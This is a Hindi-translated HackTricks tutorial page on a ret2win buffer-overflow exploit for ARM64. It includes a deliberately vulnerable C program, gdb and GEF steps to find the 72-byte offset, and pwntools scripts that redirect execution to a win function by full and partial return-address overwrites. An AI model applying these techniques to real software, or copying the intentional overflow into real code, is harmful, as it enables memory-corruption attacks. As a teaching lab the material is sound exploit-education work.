Ret2win - arm64

Ret2win - arm64

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

आर्म64 में एक परिचय पाएं:

pageIntroduction to ARM64v8

कोड

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

कैनरी और PIE के बिना कंपाइल करें:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

ऑफसेट ढूंढना

पैटर्न विकल्प

यह उदाहरण GEF का उपयोग करके बनाया गया था:

GEF के साथ gdb को शुरू करें, पैटर्न बनाएं और उसका उपयोग करें:

gdb -q ./ret2win
pattern create 200
run

arm64 को रजिस्टर x30 में वापस जाने की कोशिश करेगा (जिसे क्षतिग्रस्त किया गया था), हम उसका उपयोग करके पैटर्न ऑफसेट खोजने के लिए उसका उपयोग कर सकते हैं:

pattern search $x30

ओफसेट 72 है (9x48).

स्टैक ऑफसेट विकल्प

पहले स्टैक पता प्राप्त करें जहां pc रजिस्टर संग्रहित है:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

अब read() के बाद एक ब्रेकपॉइंट सेट करें और read() को एक्सीक्यूट होने तक जारी रखें और 13371337 जैसा पैटर्न सेट करें:

b *vulnerable_function+28
c

इस पैटर्न को मेमोरी में कहाँ स्टोर किया गया है, उसे खोजें:

फिर: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

win फ़ंक्शन का पता प्राप्त करें:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

शोषण:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

ऑफ-बाई-1

वास्तव में, यह ज्यादा तरह से एक ऑफ-बाई-2 होने जा रहा है जो स्टोर्ड पीसी में है। हम सभी वापसी पता ओवरराइट करने की बजाय केवल आखिरी 2 बाइट को 0x06c4 के साथ ओवरराइट करेंगे।

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

आप ARM64 में एक और ऑफ-बाई-वन उदाहरण https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ में पा सकते हैं, जो एक काल्पनिक सुरक्षा दोष में एक वास्तविक ऑफ-बाई-वन है।

PIE के साथ

बाइनरी -no-pie तर्क के बिना कंपाइल करें

ऑफ-बाई-2

हमें विजयी फ़ंक्शन का सटीक पता नहीं है बिना लीक के, लेकिन हम फ़ंक्शन का ऑफसेट बाइनरी से जान सकते हैं और जानते हैं कि हम ओवरराइट कर रहे हैं वापसी पता पहले से ही एक करीबी पते पर है, इससे विजयी फ़ंक्शन (0x7d4) का ऑफसेट लीक करना संभव है इस मामले में और बस उस ऑफसेट का उपयोग करें:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<details>

<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

दूसरे तरीके HackTricks का समर्थन करने के लिए:

* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** HackTricks और HackTricks Cloud github repos में PR जमा करके।

</details>

Last updated